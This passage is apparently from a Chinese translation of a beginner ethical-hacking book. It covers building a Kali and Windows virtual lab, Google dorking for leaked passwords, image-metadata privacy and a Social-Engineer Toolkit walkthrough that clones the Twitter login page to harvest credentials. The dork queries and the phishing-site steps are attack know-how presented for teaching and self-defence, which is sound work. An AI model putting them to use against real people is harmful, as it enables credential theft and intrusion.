在稍微浏览一下之后,关闭 Kali Linux 虚拟机窗口。你应该会看到关闭虚拟机的弹窗。选择保存虚拟机状态并点击确定。保存虚拟机状态可以让你在下次打开虚拟机时从上次中断的地方继续,就像将计算机置于休眠模式而不是完全关机一样。不过,如果你在安装软件或更改设置后需要重启虚拟机,则需要选择关闭虚拟机

恭喜!你已经设置好了第一个虚拟机!如果这是你第一次使用 Linux,给自己一个掌声!使用这个 Kali 虚拟机,你将能够针对其他目标虚拟机进行数十种(甚至数百种)黑客攻击,以了解在线攻击是如何发生的,以及如何进行防御。接下来我们将设置其中一个目标虚拟机。

创建 Windows 虚拟机

现在你将创建第二个运行 Windows 的虚拟机。作为世界上最常见的桌面和笔记本操作系统,Windows 是道德和不道德黑客的主要攻击目标,因此学习如何攻击和防御它是非常重要的操作系统。我们将从 Microsoft Edge 开发者网站下载一个功能完备的 Windows 10 虚拟机。

  1. 访问developer.microsoft.com/en-us/microsoft-edge/tools/vms/(或搜索 Microsoft Edge 开发者虚拟机网站)。

  2. 选择一个 Windows 10 虚拟机,选择 VirtualBox 作为平台,并下载虚拟机。该文件超过 6GB,所以请在网络连接较快的地方下载这个虚拟机。

  3. 解压下载的文件。

  4. 打开 VirtualBox,选择文件导入虚拟机

  5. 点击右侧的文件图标,找到你的 Windows 10 虚拟机。它可能是 .ova 文件或 .ovf 文件。选择该文件,然后点击继续

  6. 现在你应该能看到 Windows 10 虚拟机的设置列表。点击导入继续。

  7. 导入完成后,Windows 虚拟机将出现在 VirtualBox 管理器列表中,与 Kali 虚拟机一起显示,如图图 3-3 所示。f03003

    图 3-3:导入 Windows 虚拟机后,你将在你的虚拟道德黑客实验室中拥有两台虚拟机!

现在让我们启动 Windows 10 虚拟机,确保它可以正常工作。双击 VirtualBox 管理器列表中的 Windows 10 虚拟机。一旦虚拟机加载完成,点击窗口内,显示 Windows 登录提示。使用默认用户名IEUser和默认密码Passw0rd!(其中字母o被数字零替代)登录。如果密码不正确,请查看 Microsoft 虚拟机下载页面。默认密码应列在下载按钮下方。

一旦虚拟桌面加载完成,点击四周进行一些探索。它就像一台普通的 Windows 电脑。您目前无法上网,但我们将在下一部分设置虚拟网络。探索完 Windows 虚拟机后,关闭虚拟机并选择关闭计算机。您需要完全关闭虚拟机才能更改网络设置。

现在,您在道德黑客实验室中有两台虚拟机,一台是 Kali Linux 虚拟机,另一台是 Windows 10 虚拟机。我们将在后续章节中根据需要添加更多虚拟机。一旦我们将这两台虚拟机连接起来,您就可以在不危及笔记本或台式机的情况下练习黑客攻击和防御。

将您的虚拟机连接到虚拟网络

默认情况下,新虚拟机连接到仅主机网络,这意味着您只能从主机计算机访问它们。为了将虚拟机彼此连接并连接到互联网,我们将创建一个虚拟网络。将您的 Windows 和 Kali 虚拟机连接到虚拟网络就像是将它们连接到同一个 Wi-Fi 网络一样。

  1. 在 VirtualBox 中,转到文件首选项(在 Mac 上为VirtualBox首选项)。

  2. 转到网络选项卡,点击绿色的添加图标(带加号的图标),以创建一个新的虚拟网络。

  3. 一个新网络(名称类似NatNetwork)应出现在列表中。确保在网络名称旁边的“活动”列下的框被勾选。

  4. 选择网络,然后点击设置图标(带黄色齿轮的图标)。

  5. 在网络名称框中输入PublicNAT,并通过键入10.0.9.0/24来更改网络 CIDR 文本框,以设置虚拟机的 IP 地址。

  6. 保持选中支持 DHCP 的复选框,然后点击确定两次以完成网络创建。

我们的下一步任务是将您的虚拟机连接到您创建的 PublicNAT 网络。

连接您的 Kali 虚拟机

我们将从连接您的 Kali 虚拟机到网络并测试连接开始。

  1. 在 Oracle VM VirtualBox 管理器中,点击您的 Kali 虚拟机,然后点击设置

  2. 选择网络选项卡,并从“附加到”下拉列表中选择NAT 网络。在“名称”下拉列表中,选择PublicNAT。然后点击确定保存更改。

  3. 启动 Kali 虚拟机,并使用用户名kali和密码kali登录,如之前所述。

  4. 一旦 Kali 虚拟机桌面出现,通过点击屏幕左上角面板中的黑色方框图标(如图 3-4 所示)打开命令行终端程序。

  5. 输入命令ip addr并按ENTER查看虚拟机的网络连接信息。f03004

    图 3-4:检查 Kali 虚拟机的 IP 地址

  6. 你应该在eth0:部分看到一个以10.0.9开头的 IP 地址,像图 3-4 中圈出的地址一样。

当 Kali 显示以 10.0.9 开头的 IP 地址时,表示它已连接到 PublicNAT 网络。如果你没有看到像 10.0.9.x这样的地址,请转到机器重置重新启动 Kali 虚拟机。虚拟机重启后,再次在终端中运行ip addr命令。如果仍然没有看到 10.0.9.x的 IP 地址,请返回检查你 Kali 虚拟机的网络设置。

连接你的 Windows 虚拟机

连接你的 Windows 虚拟机到 PublicNAT 网络的过程几乎与连接 Kali 虚拟机完全相同。

  1. 打开 VirtualBox 管理器,选择你的 Windows 虚拟机,点击设置

  2. 点击网络标签,从"附加到:"下拉列表中选择NAT 网络,在"名称:"下拉列表中选择PublicNAT。点击确定应用这些设置。

  3. 启动你的 Windows 虚拟机,并使用之前的默认密码(Passw0rd!)登录。

  4. 当虚拟机启动后,点击 Windows 搜索框(位于图 3-5 的左下角),输入CMD并按ENTER打开 Windows 命令提示符,它类似于 Kali Linux 的终端程序。

  5. 输入命令ipconfig来检查虚拟机的网络设置。

  6. 你应该会看到一个 10.0.9.x范围内的 IP 地址,如图 3-5 中圈出的10.0.9.5地址。

    如果你的地址以 10.0.9 开头,说明你已成功将 Windows 虚拟机连接到 PublicNAT 网络。如果没有,请转到机器重置重新启动 Windows 虚拟机,再次尝试ipconfig命令。如果仍然没有看到 10.0.9.x的 IP 地址,请返回检查虚拟机的网络设置。

    f03005

    图 3-5:检查 Windows 虚拟机的网络设置

  7. 最后,尝试测试你的网络互联网连接。在 Windows 虚拟机中,打开 Microsoft Edge 浏览器并访问任何网址,比如www.nostarch.com/go-hck-yourself/

如果无法访问任何网站,请再重复执行前面的步骤,并尝试关闭并重新启动 Windows 虚拟机。

更新你的虚拟机操作系统

现在你的虚拟机已连接到互联网,我们可以更新它们的操作系统,以确保它们能够访问最新的功能。定期更新计算机的操作系统总是个好主意,无论是启用自动更新,还是至少每月检查一次更新。更新操作系统可以保护你免受病毒、黑客和其他网络威胁。这是防范最新网络攻击的最重要措施之一。

更新 Kali Linux

按照这些步骤更新 Kali Linux:

  1. 启动你的 Kali 虚拟机,再次打开终端命令行应用程序。

  2. 在终端提示符下,输入以下命令来查看需要更新的软件:

    kali@kali:~$ `sudo apt update`
    
  3. Kali 在你第一次使用 sudo 时会要求输入密码。这个命令是“superuser do”的缩写,允许你以管理员(或 超级用户)权限运行命令。输入 kali 作为密码并按 ENTER 键。

  4. 现在使用这个命令来执行更新:

    kali@kali:~$ `sudo apt upgrade`
    
  5. 你可能需要按 Y 来确认某些更新。随着各个软件包的更新,它们会在终端窗口中列出,后面跟着Done消息。

  6. apt 完成更新 Kali 后,关闭虚拟机并保存虚拟机状态。

更新 Windows

接下来我们将更新你的 Windows 虚拟机。

  1. 启动 Windows 虚拟机,在 Windows 搜索栏中输入 updates,然后从选项列表中选择 检查更新

  2. 如果 Windows 有可用的更新,你应该会看到“立即安装”或“立即重启”按钮。点击按钮安装更新。你可能需要重启虚拟机,就像有时你需要为真实电脑安装更新时一样。

  3. 在 Windows 虚拟机更新完成后,关闭虚拟机并保存虚拟机状态。

重点总结

在这一章中,你设置了 VirtualBox 虚拟化软件,并创建了两台虚拟机,虚拟机软件在你的实际电脑中充当计算机。其中一台虚拟机运行 Kali Linux,将作为你的攻击计算机,而另一台虚拟机运行 Windows,将作为你的目标计算机。你还创建了一个名为 PublicNAT 的虚拟网络,将两台虚拟机连接到互联网并互相连接。然后,你对 Kali 和 Windows 虚拟机进行了更新。

现在你已经设置了一个功能齐全的虚拟黑客实验室。做得好!有了你的两个虚拟机和虚拟网络,你可以安全、合乎道德地尝试各种黑客攻击,而不会影响你的物理电脑。在下一章中,我们将开始通过一些侦察活动来使用你的实验室,看看仅通过搜索引擎和社交媒体能发现什么样的信息。

第四章:在线侦察与自我防护

大多数黑客攻击的第一步是侦察,或称为侦查。在军事行动中,侦察意味着对敌方领土进行勘察或观察目标。在黑客世界中,攻击者通过在线侦察来收集信息。他们使用常规搜索引擎(如谷歌)、社交媒体平台和专业工具,收集关于公司、网络和个人的信息。然后,他们利用这些信息规划攻击的下一阶段。

在本章中,你将使用谷歌查找关于自己的信息,并通过谷歌黑客技术查找用户名和密码。接着,你将通过社交媒体进行进一步侦察,并学习如何通过限制在线共享的信息来保护自己。你不共享的信息,就是攻击者无法利用的信息!

谷歌自己(在敌人之前)

攻击者可以利用公开信息进行钓鱼攻击,在这种攻击中,他们伪装成你认识的人,发送假邮件要求提供个人信息,如密码。许多公司网站都有员工名单或员工目录,列出了攻击者发起钓鱼攻击或更严重攻击所需的所有姓名和电子邮件地址。

让我们来看看攻击者能从你那里发现什么。打开浏览器,搜索你自己的名字。我在谷歌中搜索了我的名字,如图 4-1 所示。

f04001

图 4-1:在你最喜欢的搜索引擎中搜索自己的名字。

互联网上的任何人都可以知道我做什么、在哪里工作,还知道我写过书并发布过编程和网络安全的在线课程。点击结果链接会出现更多信息,包括我 2018 年开的车和一些我的电子邮件地址。类似地,你可能会出现在工作活动、新闻文章、运动队、教堂或非营利组织的照片中,或者出现在社交媒体页面和帖子上。你的名字或图像甚至可能出现在有关你家庭或高中或大学同学聚会的文章中——这些是你没有意识到已经出现在互联网上的内容。

仅仅几分钟的侦察,就可以发现某人的工作地点、住址、年龄、家庭成员等信息。单单其中任何一条信息可能并不会引起太多担忧,但如果足够多的信息被收集,攻击者就能建立一个完整的个人档案,包括家庭成员的姓名和出生日期、宠物的名字、工作地点和住址等。有了这些信息,攻击者可能能够回答你的密码安全问题,完全猜出你的一个密码,或伪装成你认识的人,以进一步从你那里提取更多信息。

保护个人信息比以往任何时候都更加困难,但一些意识上的提高可以帮助你避免一些常见的错误。掌握一些技能也能帮助你找到已经泄露的信息,这些信息可能与你、你的公司或你的家庭相关,包括你的在线账户和密码。

高级谷歌搜索

简单的网页搜索是一种不错的侦察方法,但谷歌的真正威力——谷歌黑客技术——来自于使用高级搜索命令。通过高级搜索,你可以找到用户名、密码、安全摄像头视频流等内容。然而,谷歌黑客技术也会让你面临更大的风险,可能不小心下载到恶意软件。为了保护自己,请确保使用以下防护措施:

  • 在你在第三章设置的 Kali Linux 虚拟机中进行研究。记住:你在虚拟机中执行的操作通常不会影响你的计算机,因此虚拟机提供了一个安全层。如果你在虚拟机中打开了一个感染的文件,你可以简单地删除并重新安装虚拟机。

  • 在点击链接之前,检查是否已被病毒感染。这始终是一个良好的安全措施,即使是在虚拟机内也不例外。VirusTotal 是一个免费的在线工具,可以扫描网页、文件和链接中的恶意软件。我们将在下一部分使用 VirusTotal 扫描一个包含密码的文件,然后再打开它。

  • 确保你的计算机已安装杀毒软件,以防你不小心点击了虚拟机外的链接,并且在研究过程中有恶意软件进入你的计算机。

谷歌黑客技术的核心在于搜索操作符的巧妙使用,这些符号或单词使你的搜索结果更加精确。你可能已经熟悉一些基本的搜索操作符。例如,使用引号(“ ”)包围一个短语可以搜索该短语的准确内容,而不是短语中的单个单词。使用操作符ANDOR可以帮助你找到同时包含两个单词的页面(3D AND printer),或者包含其中任何一个单词的页面(coding OR cyber)。

其他搜索操作符较为冷门,但它们可以成为强大的黑客工具。例如,ext: 操作符用于搜索特定的文件扩展名,即不同类型文件的文件名后缀。例如,docx表示 Microsoft Word 文档,txt表示纯文本文件,pdf表示 PDF 文件,xlsx表示 Microsoft Excel 表格,等等。site: 操作符用于搜索特定网站的结果;你可以搜索 site:nostarch.comsite:yourcompany.com

黑客知道如何利用这些操作符查找特定类型的文件,这些文件可能包含更有价值的信息,例如存储在摄像头用户手册在线 PDF 版中的某种视频监控摄像头的默认密码。为客户执行侦察的道德黑客可以使用这些有针对性的搜索词帮助公司删除不小心公开在网上的敏感数据,例如显示公司去年购买了哪种视频监控摄像头的预算表格。

使用 ext: 操作符查找密码

互联网上充满了敏感信息,如人们的用户名和密码,如果你知道在哪里——以及如何——寻找的话。让我们试着使用ext:搜索运算符来寻找包含密码的电子表格。

在你的虚拟机中,打开网页浏览器,访问https://www.google.com/,并在搜索框中输入ext:xls password,如图 4-2 所示。

记住不要点击任何结果,因为一个技术熟练的攻击者可以轻易地将病毒或勒索软件隐藏在一个感染的电子表格文件中(或者让一个感染的网页在搜索引擎中看起来像一个电子表格)。勒索软件是一种恶意软件,它会加密你所有的文件并要求你支付赎金才能恢复数据,所以要小心!

你很可能会在搜索页面上找到数十个用户名和密码,并且你可以添加更多的搜索词来进一步精确搜索。例如,我在搜索中加入了 DCCC(民主党国会竞选委员会的缩写),图 4-2 中的顶部结果显示了 2016 年美国大选中的密码,据信这些密码是黑客试图干预 2016 年美国总统选举时窃取的。

f04002

图 4-2:输入ext:xls password可以找到填充了用户名和密码的 Excel 电子表格。

一旦找到你感兴趣的搜索结果,请按照以下步骤操作:

  1. 复制其中一个文件的 URL:在 Google 搜索结果中高亮显示链接地址,右键点击或按下 CONTROL 键点击(在 Mac 上),然后选择复制链接地址复制链接位置

  2. 在一个新的浏览器标签页中打开 VirusTotal(www.virustotal.com/),点击URL标签,并将复制的 URL 粘贴到搜索框中,如图 4-3 所示。f04003

    图 4-3:在点击可疑网页链接之前,先通过 VirusTotal 扫描它们。

  3. 点击搜索图标(放大镜)来扫描该链接。在图 4-4 中,VirusTotal 已经用 60 多种不同的防病毒引擎扫描了这个密码电子表格文件,结果没有发现任何感染的迹象。

在这一点上,一个不道德的黑客会打开一个或多个电子表格,看看能否找到可用的登录和密码信息。作为道德黑客,我们可以选择尊重他人的隐私,不打开文件。或者,如果我们是代表客户进行搜索,我们可以检查文件,并告知他们他们的信息可能已经暴露在网上。

f04004

图 4-4:我们选择的密码电子表格看起来是安全的,可以打开。

再次尝试搜索,但这次输入ext:txtext:pdf来检查是否有其他包含密码的文件类型。

现在尝试专门搜索你自己的信息。搜索你的用户名和密码,并添加ext:运算符以查找各种文件类型(例如,bryson_payne AND password ext:xls)。切勿在 Google 或任何其他搜索引擎中输入你的真实密码

如果你在网上发现了自己的密码,请立即更改它。

使用 site:运算符查找密码

你可以使用site:搜索运算符在特定网站上查找泄露的密码。例如,在图 4-5 中,我输入了site:ung.edu password,以查找是否有任何来自我所在大学——乔治亚北方大学——的学生或教职工密码被存储在我们的公共网页服务器上。实际上,这种情况比你想象的更常见——有时一个私人文件或文件夹会被意外地存储在公共服务器上,或者教师或管理员可能暂时将一个密码文件上传给新用户,而忘记删除它。

f04005

图 4-5:使用site:搜索运算符在特定组织的网站上搜索结果。

如你所见,没有列出任何文本文件或电子表格,但底部的结果是关于为新入学大学生分配默认密码的旧新闻文章。在该文章出现时,攻击者可能会利用默认密码信息来猜测成千上万学生的初始密码。

你也可以将site:运算符与其他运算符结合使用。例如,ext:pdf site:ung.edu bryson_payne AND password会搜索我所在大学网站上的 PDF 文件,这些文件包含我的用户名和密码一词。

这些只是你可以在 Google 中使用的几种搜索运算符,用来查找敏感信息。多年来,其他黑客创建了一个 Google 黑客数据库,记录了有用的搜索运算符组合。

Google 黑客数据库

Google Hacking DatabaseGHDB)是一个公开的数据库,列出了成千上万种 Google 搜索运算符组合,可以用来查找密码、特定类型的连接到互联网的设备或设备、具有漏洞的特定 Web 应用程序等。

GHDB 是由 Hackers for Charity 的 Johnny Long 发起的一个项目;目前该数据库由 Offensive Security 维护,Offensive Security 团队也支持 Kali Linux 和其他黑客及安全工具。你可以在www.exploit-db.com/google-hacking-database/找到 GHDB,或者在搜索引擎中搜索“Google Hacking Database”。

访问 GHDB,www.exploit-db.com/google-hacking-database/,并在搜索框中输入password,如图 4-6 所示。该数据库将显示所有包含password一词的搜索查询(运算符和要搜索的文本的组合)。

f04006

图 4-6:Google 黑客数据库密码搜索查询

点击 GHDB 中的任何条目,将显示该特定搜索查询的信息,你甚至可以直接访问 Google 并尝试该搜索。

黑客将像 GHDB 上找到的高级搜索称为Google dorks,将使用这些搜索的过程称为dorking。攻击者使用 dorking 不仅是为了查找包含用户名和密码的电子表格,还可以查找带有默认管理员密码的产品 PDF,或者查找有网络接口的脆弱设备,如监控摄像头,甚至是建筑物温控系统,这些只是一些例子。像intext:username ext:log这样的 Google dork 可以暴露包含有用信息(如数据库用户名和密码)的服务器日志。像这样的高级搜索技巧为黑客节省了大量时间。

道德黑客如何使用 Google

如果一家公司雇佣一名道德黑客来测试其安全性,黑客将把侦察搜索集中在公司本身、其供应商和供应商、员工、客户等方面。如果黑客在侦察过程中发现了密码或其他敏感信息,他们会通知公司,以便公司可以锁定账户,让用户更改密码,或根据需要采取其他措施。你在进行本书侦察时发现的任何信息,也应以同样的方式处理。

假设你发现了来自你办公室、孩子学校,或者你朋友或家人的账户密码。首先,绝对不要自己尝试这些密码;那就像是找到某人的钥匙,未经许可试图打开对方家门一样,既令人毛骨悚然,又不道德。一名道德黑客会将潜在的密码泄漏报告给公司或学校的 IT 员工,或者告诉朋友或家人他们的密码可能已被泄露,并且他们应该立即更改所有使用该密码或类似密码的账户密码。

社交媒体与过度共享的危险

除了 Google 搜索,黑客还拥有另一个令人惊恐的侦察工具:社交媒体。你可能会感到惊讶——甚至有点害怕——发现 Google 已经知道了你这么多信息。然而,通过社交媒体,你每天可能会泄露更多更具体、更敏感的信息,甚至一天几次。

这里有一个你可以自己做的快速练习,并与朋友或家人分享:花五分钟时间,在你最喜欢的社交媒体账户上快速进行一项自我侦查任务。你能找出你住在哪里、有什么宠物(它们的名字是什么)、你在哪里工作,或者你配偶和孩子的名字吗?那你最近生日的帖子呢?根据帖子日期和提到的年龄(例如,如果某人发布了“祝 29 岁生日快乐!”),攻击者能否推算出你确切的出生日期和年份?你还可以找到哪些关于你常去的地方的信息,比如体育赛事,以及你和谁一起度过的时光?

发布关于你的工作、爱好、孩子、旅行、宠物或周末活动的信息,会将你的位置信息和兴趣暴露给潜在的攻击者。试图进入你账户的攻击者,可能会利用他们在网上找到的个人信息,如宠物的名字、你的生日或你最喜欢的餐馆,来猜测或重置你的密码。更糟的是,如果你在度假时发布了照片,任何有权限查看你帖子的人都能推测出你的家可能是空的,从而减少了入室盗窃的风险。

甚至分享一张你猫或狗的照片也可能是危险的,因为图片文件本身可能会泄露你的位置信息,正如你将在下一节中看到的那样。

位置信息——社交媒体的潜在危险

大多数使用智能手机、平板电脑和许多新款数码相机拍摄的图片,都会自动存储位置信息。位置信息通常指的是全球定位系统(GPS)坐标,或者你手机或其他设备在地球上的精确经纬度。根据你使用的社交媒体服务(以及你的设置),你可能会在每张发布的照片中定期上传你的位置信息。用智能手机在家里拍的你家猫或狗的可爱照片,可能会泄露你居住的确切位置。

为了查看图片中隐藏的位置信息和其他数据,我们将使用 Jeffrey 的图像元数据查看器(exif.regex.info/)。你可以上传一张图片文件,或者输入一张在线图片的 URL,查看图片文件中是否包含任何位置信息或其他数据。

  1. 访问www.nostarch.com/go-hck-yourself/,下载BrysonPayne-TEDx.jpg,这是一张几年前我在 TEDx 讲座上关于儿童编程和网络安全的照片。

  2. 访问exif.regex.info/,点击选择文件,然后选择下载的图片文件。

  3. 勾选 reCAPTCHA 框以确认你不是机器人,然后点击查看图片数据。图 4-7 显示了隐藏的数据(称为图像元数据)。

f04007a

图 4-7:图像元数据揭示了照片拍摄的时间、地点,甚至是用哪款手机拍摄的!

这张照片拍摄于 2018 年 4 月 8 日,地点是纬度 34.530261N, 经度 83.986075W——正是我演讲所在的礼堂的 GPS 坐标!舞台位于海拔 443 米(1,453 英尺)的地方,照片是在一部旧款 iPhone 6S 上拍摄的。所有这些信息,甚至更多,默认情况下都会隐藏在你用智能手机拍摄的每一张照片中,因此要小心你在哪里以及如何分享你的照片。

一些社交媒体应用也会主动发布你所在的位置。如果你曾看到某人在一个很酷的地点“签到”,那就是一个例子。但你手机上的许多其他应用, 从地图应用到电子邮件和搜索引擎,也可能在追踪你的位置。查看你常用的所有应用的安全和/或隐私设置,看看是否可以关闭位置服务,或者只在需要时使用它们,是个好主意。

在社交媒体上保护自己

更加小心可能会保护你免于过度在线分享。你还需要教育你的朋友、亲戚和同事——任何可能拍摄你合照并发布到社交媒体的人,或者说出你在某个特定时间在哪里的人。每个人都需要理解,在当今高度互联的世界里,保持更多隐私的重要性。

以下是你可以采取的一些步骤,来保护自己和你关心的人,免受社交媒体过度分享带来的危险:

  1. 在分享之前思考。发布照片或评论之前,停下来想一想你是否真的需要立即分享(或者根本不需要)。至少等到你回到家再炫耀你那次令人惊叹的假期。还记得,毫无思考的(或醉酒状态下的)凌晨 2 点社交媒体帖子,可能会被打印出来、转发,甚至更糟。每一条推文、帖子和照片都成为你永久在线形象的一部分。

  2. 更改你的默认设置。大多数社交媒体应用默认设置是与过多的人分享过多的信息。进入应用或网站的安全或隐私设置,关闭位置数据(或位置服务),以及任何你不想分享的敏感信息。

  3. 限制谁可以查看你的帖子。如果一张照片或评论透露了关于你日常活动、爱好或常去的地方的过多信息,可以只与那些会喜欢这篇帖子的朋友私下分享。

  4. 快速解决问题。如果遇到身份盗窃(向当地警方和信用局报告)、欺诈(向你的银行和联邦贸易委员会报告:www.ftc.gov/)、其他犯罪(向 FBI 报告:www.ic3.gov/),以及任何网络欺凌或骚扰(向当地执法机构报告)。

社交媒体是一个强大的连接工具,但它也是黑帽犯罪分子和白帽道德黑客进行侦察和信息收集的强大工具。不要过度分享。相反,要注意你的安全和隐私设置,明智地使用社交媒体,并且如果有人利用社交媒体对付你,立即向相关部门报告。

关键要点

在本章中,你了解了黑客如何使用免费的在线工具,如搜索引擎和图片元数据查看器,来收集关于你和你关心的人的信息。高级搜索操作符可以精确定位被盗或不小心发布到网上的特定用户名和密码。图片元数据查看器揭示了隐藏在网上发布图片中的敏感信息,包括照片拍摄地点的精确 GPS 坐标以及使用的智能手机类型。

你了解了在分享之前思考的重要性,注意你的安全和隐私设置,限制谁可以查看你的帖子,并快速报告欺诈和其他网络犯罪行为。作为聪明的网络防御者,我们必须平衡便利性和安全性,以保护自己以及我们关心的人和组织。

本章讨论的每个工具和技巧都可以被道德黑客用来提高安全性并训练人们保护自己。但它也可以被攻击者用来锁定受害者。做好准备的第一步是了解哪些信息已经泄露。掌控你在网上分享的信息,你就已经领先一步,远离网络攻击者。

第五章:社交工程与网络钓鱼攻击

在本章中,你将使用虚拟黑客实验室学习攻击者访问受害者计算机和账户的最常见且最成功的方法之一:社交工程。

社交工程是指通过欺骗手段让人们泄露敏感或有价值的信息,如密码、信用卡号码或医疗数据。研究人员估计,94%到 98%的计算机攻击都以某种形式的社交工程为开端。在电影中,黑客常常通过一些非常先进的手段突破网络,但在现实世界中,他们通常只会发送一封电子邮件,诱使某人泄露他们的用户名和密码。这种社交工程技巧被称为网络钓鱼

在本章中,你将通过创建一个网络钓鱼网站和发送网络钓鱼邮件来了解社交工程的危险。你将看到攻击者如何轻易欺骗他人泄露他们的用户名和密码,以及如何保护自己免受网络钓鱼攻击。

社交工程的工作原理

社交工程利用了我们人类渴望社交、帮助他人和成为群体一部分的愿望,或者它通过操纵我们的基本人类情感,如恐惧、好奇心或贪婪,来诱使我们犯下安全错误或泄露敏感信息。舆论压力是一种社交工程方式:它说服某人做出他们通常不会做的事情,因为“其他人”都在做,或者害怕错过机会。类似地,网络诈骗者通过社交工程操控我们做出错误的决策,而不考虑后果。

在现实世界中,骗子和犯罪分子通过伪装成快递员或公用事业工人进入安全建筑,或者他们会通过携带一个大箱子“紧跟”某人,要求别人为他们开门。一旦进入,他们会通过“肩窥”观察别人输入密码的过程。

在数字世界中,社交工程师利用电子邮件、社交媒体、广告、网站、短信、自动电话和其他技术手段。在线犯罪分子可以欺骗毫无戒备的用户,诱使他们点击恶意链接、登录虚假网站、接受虚假好友请求、输入信用卡信息、下载并运行恶意软件,或泄露个人信息。

最常见的社交工程攻击类型是网络钓鱼。在网络钓鱼攻击中,攻击者通过电子邮件诱使你下载感染恶意软件的文件或访问伪装成在线服务登录页面的恶意网站。如果你登录了这个虚假的服务,攻击者就能获得你的用户名和密码。

为了了解攻击者设置网络钓鱼攻击的容易程度,我们将通过你的 Kali Linux 虚拟机亲自设置一次。了解如何操作将帮助你在点击之前识别出即使是最精密的钓鱼邮件。

创建网络钓鱼网站

我们将从创建一个看起来与 Twitter 登录页面完全相同的钓鱼网站开始。该网站将捕获并存储用户名和密码。

  1. 启动 Kali Linux 虚拟机,并点击屏幕左上角菜单面板上的 Kali 图标。打开 13 - 社会工程工具 文件夹,并找到 社会工程工具包 (SET) 应用程序,如 图 5-1 所示。这个程序,也叫做社会工程工具包,使安全专家能够开发高级社会工程攻击,测试公司的安全性。这种道德黑客被称为 渗透测试(简称 pentesting),因为你是在测试是否能突破公司的防御。f05001

    图 5-1:找到 13 - 社会工程工具 文件夹和 SET 应用程序。

  2. 点击 SET 图标打开社会工程工具包。如果提示输入密码,请输入 kali。(注意,在输入时可能看不到密码。)当应用程序加载时,SET 会要求您接受使用条款,如 图 5-2 所示。输入 Y 同意仅用于合法目的使用 SET。

  3. 现在,您应该能看到类似 列表 5-1 中所示的主 SET 菜单。

    Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit
    set>
    

    列表 5-1:主 SET 菜单

    f05002

    图 5-2:使用 SET 前,您必须同意服务条款。

  4. 输入 1 选择社会工程攻击。这将带您进入攻击菜单,如 列表 5-2 所示。

     1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack *--snip--*
    

    列表 5-2:SET 攻击菜单

  5. 在攻击菜单下,输入 2 选择网站攻击向量。这将带您进入网站攻击向量菜单,如 列表 5-3 所示。

     1) Java Applet Attack Method  2) Metasploit Browser Exploit Method 3) Credential Harvester Attack Method 4) Tabnabbing Attack Method 5) Web Jacking Attack Method *--snip--*
    

    列表 5-3:SET 网站攻击向量菜单

  6. 输入 3 选择凭证收集器攻击方法。这将打开凭证收集器攻击菜单,提供一些选项,如 列表 5-4 所示。

     1) Web Templates 2) Site Cloner 3) Custom Import
    

    列表 5-4:SET 凭证收集器攻击菜单

  7. 我们将使用第二个选项,网站克隆器,制作一个真实网站的 克隆 或精确副本,用于我们的钓鱼攻击。这种钓鱼攻击被称为 凭证收集,因为其目标是收集人们的 凭证,即用户名和密码。按 2 选择网站克隆器,然后按 ENTER

克隆登录页面

SET 的网站克隆器将帮助您设置几乎任何登录页面的克隆。它下载显示现有登录页面所需的所有代码,例如社交媒体平台、银行或电子邮件服务的登录页面。如我们在第一章使用浏览器的检查工具时所见,这些代码是公开的。然后,网站克隆器使用下载的代码创建页面的精确副本。剩下的就是找到方法欺骗用户将其用户名和密码输入克隆页面。

按照以下步骤克隆 Twitter 登录页面。

  1. 首先,站点克隆工具会要求输入存储受害者用户名和密码的机器的 IP 地址。默认情况下,提示会显示你的 Kali 虚拟机的 IP 地址。在我的例子中,这是 10.0.9.4,如 SET 提示中所示:

    set:webattack> IP address for the POST back in Harvester/Tabnabbing [10.0.9.4]:
    

    如果你的 Kali 虚拟机的 IP 地址不同,记下来,因为稍后你会用到它。按 ENTER 继续。

  2. 接下来,SET 应该会要求你输入你想要克隆的网站的 URL:

    set:webattack> Enter the url to clone:
    

    为了成功进行凭证收集攻击,你需要克隆一个在同一页面上要求输入用户名和密码的登录页面。大多数在线服务,包括许多社交媒体网站,符合这一描述,但一些银行网站和电子邮件网站(包括 Gmail 和 Outlook)会要求在一个页面输入用户名,在另一个页面输入密码,以防止像这样的攻击。

    我们将克隆 Twitter 登录页面。在 SET 窗口中输入 https://twitter.com/login

    set:webattack> Enter the url to clone: `https://twitter.com/login`
    
  3. 现在 SET 应该会显示它正在克隆网站。它可能会要求你再次按 ENTER 继续。如果 SET 要求你确认其他任何事情,请按 Y 或 ENTER 按照要求操作。

  4. 稍等片刻,你会看到一条信息,确认 SET 凭证收集攻击正在运行:

    [*] The Social-Engineer Toolkit Credential Harvester Attack
    [*] Credential Harvester is running on port 80
    [*] Information will be displayed to you as it arrives below:
    

SET 成功启动了一个临时的 Web 服务器,受害者可以访问该服务器。现在它在等待受害者将信息输入到网站中。

让我们开始收集一些凭证吧!

让我们测试一下我们的钓鱼网站,看它是否有效。在保持终端窗口打开的同时,点击菜单面板上的 Kali 图标,然后进入 收藏夹网页浏览器。浏览器打开后,在地址栏中输入 localhost。你应该看到一个几乎完美的 Twitter 首页复本,如 图 5-3 所示。(网页会随时变化,浏览器也会变化,因此你看到的可能会稍有不同。)唯一能看出页面不真实的方法就是查看地址栏。

f05003

图 5-3:克隆的 Twitter 首页与真实的完全相同。

首先,你应该看到你输入的地址(localhost)而不是实际地址(twitter.com)。其次,地址栏旁边没有安全锁图标,浏览器告诉你该页面不安全。

现在我们知道克隆的网站看起来像真实的页面,让我们来看看它能否捕获登录信息。点击 登录 进入登录页面。输入一个虚构的用户名和密码,再次点击 登录

我输入了用户名 GeorgeJetson 和密码 Jane!!!,如 图 5-4 所示。

f05004

图 5-4:在你克隆的 SET 网站中输入虚假信息;切勿在钓鱼网站上输入你的真实用户名和密码。

一旦你提交了伪造的登录凭据,SET 会将你的浏览器重定向到真正的 Twitter 网站,twitter.com/。你可以通过地址栏看到锁定图标来判断这是一个真实的网站。SET 将受害者带到真实的登录页面,让他们认为是自己输入错误了登录信息。这一次,他们登录到真实的网站,却从未意识到攻击者窃取了他们的凭据。

现在打开运行 SET 的终端窗口。如果你的钓鱼网站工作正常,你将看到一屏幕的已提交网页表单数据。如有需要,向上滚动,你将看到你输入的用户名和密码:

[*] WE GOT A HIT! Printing the output:
...
POSSIBLE USERNAME FIELD FOUND: session[username_or_email]=GeorgeJetson
